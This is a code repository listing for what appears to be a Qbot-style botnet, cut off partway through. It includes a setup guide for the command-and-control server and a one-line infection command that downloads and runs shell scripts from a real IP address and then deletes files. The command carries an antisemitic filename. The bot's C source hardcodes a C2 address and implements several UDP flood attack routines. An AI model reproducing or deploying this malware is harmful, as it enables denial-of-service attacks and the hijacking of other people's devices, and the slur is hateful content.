├── LICENSE ├── README.md ├── TutQBOT.txt ├── bot.c ├── c7.c ├── compile.py ├── logs ├── AcceptedTos.txt ├── BANNEDUSERS.txt ├── Blacklist.txt ├── IPBANNED.txt └── LoggedUsers.txt └── users └── login.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 USBBios 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /TutQBOT.txt: -------------------------------------------------------------------------------- 1 | yum install deltarpm 2 | 3 | yum install httpd 4 | yum install iptables 5 | 6 | 7 | yum install python-paramiko nano screen gcc perl wget lbzip unzip -y 8 | 9 | gcc c7.c -o cnc -pthread 10 | 11 | python compile.py 12 | 13 | chmod 777 * 14 | 15 | ./upx --ultra-brute /var/www/html/* 16 | 17 | screen ./cnc 4258 1 55555 18 | 19 | NOW PRESS CRTL A+D 20 | 21 | LOGIN WITH PUTTY RAW PORT = SCREENPORT 22 | 23 | 24 | 25 | 26 | 27 | cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192.210.186.195/fuckjewishpeople.sh; chmod 777 fuckjewishpeople.sh; sh fuckjewishpeople.sh; tftp 192.210.186.195 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192.210.186.195; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf * 28 | -------------------------------------------------------------------------------- /bot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #define STD2_SIZE 1024 23 | 24 | unsigned char *commServer[] = {"107.174.25.148:4258"}; 25 | 26 | 27 | char *dns = ("8.8.4.4"); //53 28 | 29 | //useragents 30 | const char *useragents[] = { 31 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", 32 | "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", 33 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", 34 | "TheSuBot/0.2 (www.thesubot.de)", 35 | "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16", 36 | "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)", 37 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201", 38 | "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", 39 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1", 40 | "zspider/0.9-dev http://feedback.redkolibri.com/", 41 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)", 42 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)", 43 | "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", 44 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", 45 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3", 46 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194ABaiduspider+(+http://www.baidu.com/search/spider.htm)", 47 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", 48 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7", 49 | "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15", 50 | "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0", 51 | "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10", 52 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)", 53 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", 54 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", 55 | "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", 56 | "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532", 57 | "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US", 58 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", 59 | "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)", 60 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00", 61 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00", 62 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00", 63 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; cn) Opera 11.00", 64 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00", 65 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36", 66 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)", 67 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)", 68 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)", 69 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0", 70 | "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8", 71 | "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", 72 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0", 73 | "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8", 74 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)", 75 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", 76 | "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", 77 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", 78 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", 79 | "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01", 80 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", 81 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1", 82 | "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02", 83 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", 84 | "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]", 85 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", 86 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", 87 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", 88 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", 89 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" 90 | };//yakuza user agents 91 | 92 | 93 | int initConnection(); 94 | int sockprintf(int sock, char *formatStr, ...); 95 | char *inet_ntoa(struct in_addr in); 96 | int mainCommSock = 0, currentServer = -1; 97 | uint32_t *pids; 98 | uint64_t numpids = 0; 99 | struct in_addr ourIP; 100 | #define PHI 0x9e3779b9 101 | static uint32_t Q[4096], c = 362436; 102 | unsigned char macAddress[6] = {0}; 103 | 104 | void init_rand(uint32_t x) 105 | { 106 | int i; 107 | 108 | Q[0] = x; 109 | Q[1] = x + PHI; 110 | Q[2] = x + PHI + PHI; 111 | 112 | for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; 113 | } 114 | uint32_t rand_cmwc(void) 115 | { 116 | uint64_t t, a = 18782LL; 117 | static uint32_t i = 4095; 118 | uint32_t x, r = 0xfffffffe; 119 | i = (i + 1) & 4095; 120 | t = a * Q[i] + c; 121 | c = (uint32_t)(t >> 32); 122 | x = t + c; 123 | if (x < c) { 124 | x++; 125 | c++; 126 | } 127 | return (Q[i] = r - x); 128 | } 129 | in_addr_t getRandomIP(in_addr_t netmask) { 130 | in_addr_t tmp = ntohl(ourIP.s_addr) & netmask; 131 | return tmp ^ ( rand_cmwc() & ~netmask); 132 | } 133 | unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) 134 | { 135 | int got = 1, total = 0; 136 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } 137 | return got == 0 ? NULL : buffer; 138 | } 139 | int getOurIP() 140 | { 141 | int sock = socket(AF_INET, SOCK_DGRAM, 0); 142 | if(sock == -1) return 0; 143 | 144 | struct sockaddr_in serv; 145 | memset(&serv, 0, sizeof(serv)); 146 | serv.sin_family = AF_INET; 147 | serv.sin_addr.s_addr = inet_addr(dns); 148 | serv.sin_port = htons(53); 149 | 150 | int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv)); 151 | if(err == -1) return 0; 152 | 153 | struct sockaddr_in name; 154 | socklen_t namelen = sizeof(name); 155 | err = getsockname(sock, (struct sockaddr*) &name, &namelen); 156 | if(err == -1) return 0; 157 | 158 | ourIP.s_addr = name.sin_addr.s_addr; 159 | int cmdline = open("/proc/net/route", O_RDONLY); 160 | char linebuf[4096]; 161 | while(fdgets(linebuf, 4096, cmdline) != NULL) 162 | { 163 | if(strstr(linebuf, "\t00000000\t") != NULL) 164 | { 165 | unsigned char *pos = linebuf; 166 | while(*pos != '\t') pos++; 167 | *pos = 0; 168 | break; 169 | } 170 | memset(linebuf, 0, 4096); 171 | } 172 | close(cmdline); 173 | 174 | if(*linebuf) 175 | { 176 | int i; 177 | struct ifreq ifr; 178 | strcpy(ifr.ifr_name, linebuf); 179 | ioctl(sock, SIOCGIFHWADDR, &ifr); 180 | for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i]; 181 | } 182 | 183 | close(sock); 184 | } 185 | 186 | void trim(char *str) 187 | { 188 | int i; 189 | int begin = 0; 190 | int end = strlen(str) - 1; 191 | 192 | while (isspace(str[begin])) begin++; 193 | 194 | while ((end >= begin) && isspace(str[end])) end--; 195 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; 196 | 197 | str[i - begin] = '\0'; 198 | } 199 | 200 | static void printchar(unsigned char **str, int c) 201 | { 202 | if (str) { 203 | **str = c; 204 | ++(*str); 205 | } 206 | else (void)write(1, &c, 1); 207 | } 208 | #define PAD_RIGHT 1 209 | #define PAD_ZERO 2 210 | 211 | static int prints(unsigned char **out, const unsigned char *string, int width, int pad) 212 | { 213 | register int pc = 0, padchar = ' '; 214 | 215 | if (width > 0) { 216 | register int len = 0; 217 | register const unsigned char *ptr; 218 | for (ptr = string; *ptr; ++ptr) ++len; 219 | if (len >= width) width = 0; 220 | else width -= len; 221 | if (pad & PAD_ZERO) padchar = '0'; 222 | } 223 | if (!(pad & PAD_RIGHT)) { 224 | for ( ; width > 0; --width) { 225 | printchar (out, padchar); 226 | ++pc; 227 | } 228 | } 229 | for ( ; *string ; ++string) { 230 | printchar (out, *string); 231 | ++pc; 232 | } 233 | for ( ; width > 0; --width) { 234 | printchar (out, padchar); 235 | ++pc; 236 | } 237 | 238 | return pc; 239 | } 240 | 241 | #define PRINT_BUF_LEN 12 242 | 243 | static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) 244 | { 245 | unsigned char print_buf[PRINT_BUF_LEN]; 246 | register unsigned char *s; 247 | register int t, neg = 0, pc = 0; 248 | register unsigned int u = i; 249 | 250 | if (i == 0) { 251 | print_buf[0] = '0'; 252 | print_buf[1] = '\0'; 253 | return prints (out, print_buf, width, pad); 254 | } 255 | 256 | if (sg && b == 10 && i < 0) { 257 | neg = 1; 258 | u = -i; 259 | } 260 | 261 | s = print_buf + PRINT_BUF_LEN-1; 262 | *s = '\0'; 263 | 264 | while (u) { 265 | t = u % b; 266 | if( t >= 10 ) 267 | t += letbase - '0' - 10; 268 | *--s = t + '0'; 269 | u /= b; 270 | } 271 | 272 | if (neg) { 273 | if( width && (pad & PAD_ZERO) ) { 274 | printchar (out, '-'); 275 | ++pc; 276 | --width; 277 | } 278 | else { 279 | *--s = '-'; 280 | } 281 | } 282 | 283 | return pc + prints (out, s, width, pad); 284 | } 285 | 286 | static int print(unsigned char **out, const unsigned char *format, va_list args ) 287 | { 288 | register int width, pad; 289 | register int pc = 0; 290 | unsigned char scr[2]; 291 | 292 | for (; *format != 0; ++format) { 293 | if (*format == '%') { 294 | ++format; 295 | width = pad = 0; 296 | if (*format == '\0') break; 297 | if (*format == '%') goto out; 298 | if (*format == '-') { 299 | ++format; 300 | pad = PAD_RIGHT; 301 | } 302 | while (*format == '0') { 303 | ++format; 304 | pad |= PAD_ZERO; 305 | } 306 | for ( ; *format >= '0' && *format <= '9'; ++format) { 307 | width *= 10; 308 | width += *format - '0'; 309 | } 310 | if( *format == 's' ) { 311 | register char *s = (char *)va_arg( args, int ); 312 | pc += prints (out, s?s:"(null)", width, pad); 313 | continue; 314 | } 315 | if( *format == 'd' ) { 316 | pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); 317 | continue; 318 | } 319 | if( *format == 'x' ) { 320 | pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); 321 | continue; 322 | } 323 | if( *format == 'X' ) { 324 | pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); 325 | continue; 326 | } 327 | if( *format == 'u' ) { 328 | pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); 329 | continue; 330 | } 331 | if( *format == 'c' ) { 332 | scr[0] = (unsigned char)va_arg( args, int ); 333 | scr[1] = '\0'; 334 | pc += prints (out, scr, width, pad); 335 | continue; 336 | } 337 | } 338 | else { 339 | out: 340 | printchar (out, *format); 341 | ++pc; 342 | } 343 | } 344 | if (out) **out = '\0'; 345 | va_end( args ); 346 | return pc; 347 | } 348 | int sockprintf(int sock, char *formatStr, ...) 349 | { 350 | unsigned char *textBuffer = malloc(2048); 351 | memset(textBuffer, 0, 2048); 352 | char *orig = textBuffer; 353 | va_list args; 354 | va_start(args, formatStr); 355 | print(&textBuffer, formatStr, args); 356 | va_end(args); 357 | orig[strlen(orig)] = '\n'; 358 | int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL); 359 | free(orig); 360 | return q; 361 | } 362 | // 363 | int getHost(unsigned char *toGet, struct in_addr *i) 364 | { 365 | struct hostent *h; 366 | if((i->s_addr = inet_addr(toGet)) == -1) return 1; 367 | return 0; 368 | } 369 | 370 | 371 | int recvLine(int socket, unsigned char *buf, int bufsize) 372 | { 373 | memset(buf, 0, bufsize); 374 | fd_set myset; 375 | struct timeval tv; 376 | tv.tv_sec = 30; 377 | tv.tv_usec = 0; 378 | FD_ZERO(&myset); 379 | FD_SET(socket, &myset); 380 | int selectRtn, retryCount; 381 | if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) { 382 | while(retryCount < 10) 383 | { 384 | tv.tv_sec = 30; 385 | tv.tv_usec = 0; 386 | FD_ZERO(&myset); 387 | FD_SET(socket, &myset); 388 | if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) { 389 | retryCount++; 390 | continue; 391 | } 392 | break; 393 | } 394 | } 395 | unsigned char tmpchr; 396 | unsigned char *cp; 397 | int count = 0; 398 | cp = buf; 399 | while(bufsize-- > 1) 400 | { 401 | if(recv(mainCommSock, &tmpchr, 1, 0) != 1) { 402 | *cp = 0x00; 403 | return -1; 404 | } 405 | *cp++ = tmpchr; 406 | if(tmpchr == '\n') break; 407 | count++; 408 | } 409 | *cp = 0x00; 410 | return count; 411 | } 412 | 413 | int connectTimeout(int fd, char *host, int port, int timeout) 414 | { 415 | struct sockaddr_in dest_addr; 416 | fd_set myset; 417 | struct timeval tv; 418 | socklen_t lon; 419 | 420 | int valopt; 421 | long arg = fcntl(fd, F_GETFL, NULL); 422 | arg |= O_NONBLOCK; 423 | fcntl(fd, F_SETFL, arg); 424 | 425 | dest_addr.sin_family = AF_INET; 426 | dest_addr.sin_port = htons(port); 427 | if(getHost(host, &dest_addr.sin_addr)) return 0; 428 | memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); 429 | int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); 430 | 431 | if (res < 0) { 432 | if (errno == EINPROGRESS) { 433 | tv.tv_sec = timeout; 434 | tv.tv_usec = 0; 435 | FD_ZERO(&myset); 436 | FD_SET(fd, &myset); 437 | if (select(fd+1, NULL, &myset, NULL, &tv) > 0) { 438 | lon = sizeof(int); 439 | getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); 440 | if (valopt) return 0; 441 | } 442 | else return 0; 443 | } 444 | else return 0; 445 | } 446 | 447 | arg = fcntl(fd, F_GETFL, NULL); 448 | arg &= (~O_NONBLOCK); 449 | fcntl(fd, F_SETFL, arg); 450 | 451 | return 1; 452 | } 453 | 454 | int listFork() 455 | { 456 | uint32_t parent, *newpids, i; 457 | parent = fork(); 458 | if (parent <= 0) return parent; 459 | numpids++; 460 | newpids = (uint32_t*)malloc((numpids + 1) * 4); 461 | for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i]; 462 | newpids[numpids - 1] = parent; 463 | free(pids); 464 | pids = newpids; 465 | return parent; 466 | } 467 | 468 | 469 | int socket_connect(char *host, in_port_t port) { 470 | struct hostent *hp; 471 | struct sockaddr_in addr; 472 | int on = 1, sock; 473 | if ((hp = gethostbyname(host)) == NULL) return 0; 474 | bcopy(hp->h_addr, &addr.sin_addr, hp->h_length); 475 | addr.sin_port = htons(port); 476 | addr.sin_family = AF_INET; 477 | sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); 478 | setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int)); 479 | if (sock == -1) return 0; 480 | if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0; 481 | return sock; 482 | } 483 | void SendSTD(unsigned char *ip, int port, int secs) 484 | { 485 | int iSTD_Sock; 486 | iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); 487 | time_t start = time(NULL); 488 | struct sockaddr_in sin; 489 | struct hostent *hp; 490 | hp = gethostbyname(ip); 491 | bzero((char*) &sin,sizeof(sin)); 492 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 493 | sin.sin_family = hp->h_addrtype; 494 | sin.sin_port = port; 495 | unsigned int a = 0; 496 | while(1) 497 | {// random std string 498 | char *randstrings[] = {"PozHlpiND4xPDPuGE6tq","tg57YSAcuvy2hdBlEWMv","VaDp3Vu5m5bKcfCU96RX","UBWcPjIZOdZ9IAOSZAy6","JezacHw4VfzRWzsglZlF","3zOWSvAY2dn9rKZZOfkJ","oqogARpMjAvdjr9Qsrqj","yQAkUvZFjxExI3WbDp2g","35arWHE38SmV9qbaEDzZ","kKbPlhAwlxxnyfM3LaL0","a7pInUoLgx1CPFlGB5JF","yFnlmG7bqbW682p7Bzey","S1mQMZYF6uLzzkiULnGF","jKdmCH3hamvbN7ZvzkNA","bOAFqQfhvMFEf9jEZ89M","VckeqgSPaAA5jHdoFpCC","CwT01MAGqrgYRStHcV0X","72qeggInemBIQ5uJc1jQ","zwcfbtGDTDBWImROXhdn","w70uUC1UJYZoPENznHXB","EoXLAf1xXR7j4XSs0JTm","lgKjMnqBZFEvPJKpRmMj","lSvZgNzxkUyChyxw1nSr","VQz4cDTxV8RRrgn00toF","YakuzaBotnet","Scarface1337"}; 499 | char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))]; 500 | if (a >= 50) 501 | { 502 | send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0); 503 | connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); 504 | if (time(NULL) >= start + secs) 505 | { 506 | close(iSTD_Sock); 507 | _exit(0); 508 | } 509 | a = 0; 510 | } 511 | a++; 512 | } 513 | } 514 | //attacks 515 | void xtdcustom(unsigned char *ip, int port, int secs) 516 | { 517 | int string = socket(AF_INET, SOCK_DGRAM, 0); 518 | time_t start = time(NULL); 519 | struct sockaddr_in sin; 520 | struct hostent *hp; 521 | hp = gethostbyname(ip); 522 | bzero((char*) &sin,sizeof(sin)); 523 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 524 | sin.sin_family = hp->h_addrtype; 525 | sin.sin_port = port; 526 | unsigned int a = 0; 527 | while(1) 528 | { 529 | char *stringme[] = {"8d\xc1x\x01\xb8\x9b\xcb\x8f\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"}; 530 | if (a >= 50) 531 | { 532 | send(string, stringme, 1460, 0); 533 | connect(string,(struct sockaddr *) &sin, sizeof(sin)); 534 | if (time(NULL) >= start + secs) 535 | { 536 | close(string); 537 | _exit(0); 538 | } 539 | a = 0; 540 | } 541 | a++; 542 | } 543 | } 544 | void UDPRAW(unsigned char *ip, int port, int secs) 545 | { 546 | int string = socket(AF_INET, SOCK_DGRAM, 0); 547 | time_t start = time(NULL); 548 | struct sockaddr_in sin; 549 | struct hostent *hp; 550 | hp = gethostbyname(ip); 551 | bzero((char*) &sin,sizeof(sin)); 552 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 553 | sin.sin_family = hp->h_addrtype; 554 | sin.sin_port = port; 555 | unsigned int a = 0; 556 | while(1) 557 | { 558 | char *stringme[] = {"\x8f"}; 559 | if (a >= 50) 560 | { 561 | send(string, stringme, 1460, 0); 562 | connect(string,(struct sockaddr *) &sin, sizeof(sin)); 563 | if (time(NULL) >= start + secs) 564 | { 565 | close(string); 566 | _exit(0); 567 | } 568 | a = 0; 569 | } 570 | a++; 571 | } 572 | } 573 | void Randhex(unsigned char *ip, int port, int secs) { 574 | int iSTD_Sock; 575 | iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); 576 | time_t start = time(NULL); 577 | struct sockaddr_in sin; 578 | struct hostent *hp; 579 | hp = gethostbyname(ip); 580 | bzero((char*) &sin,sizeof(sin)); 581 | bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 582 | sin.sin_family = hp->h_addrtype; 583 | sin.sin_port = port; 584 | unsigned int a = 0; 585 | while(1){// random std string 586 | char *randstrings[] = {"\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c","\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18","\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24","\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30","\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c","\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48","\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54","\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60","\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90","\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c","\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4","\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc","\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8","\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0","\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc","\xfd","\xfe","\xff""PozHlpiND4xPDPuGE6tq","tg57YSAcuvy2hdBlEWMv","VaDp3Vu5m5bKcfCU96RX","UBWcPjIZOdZ9IAOSZAy6","JezacHw4VfzRWzsglZlF","3zOWSvAY2dn9rKZZOfkJ","oqogARpMjAvdjr9Qsrqj","yQAkUvZFjxExI3WbDp2g","35arWHE38SmV9qbaEDzZ","kKbPlhAwlxxnyfM3LaL0","a7pInUoLgx1CPFlGB5JF","yFnlmG7bqbW682p7Bzey","S1mQMZYF6uLzzkiULnGF","jKdmCH3hamvbN7ZvzkNA","bOAFqQfhvMFEf9jEZ89M","VckeqgSPaAA5jHdoFpCC","CwT01MAGqrgYRStHcV0X","72qeggI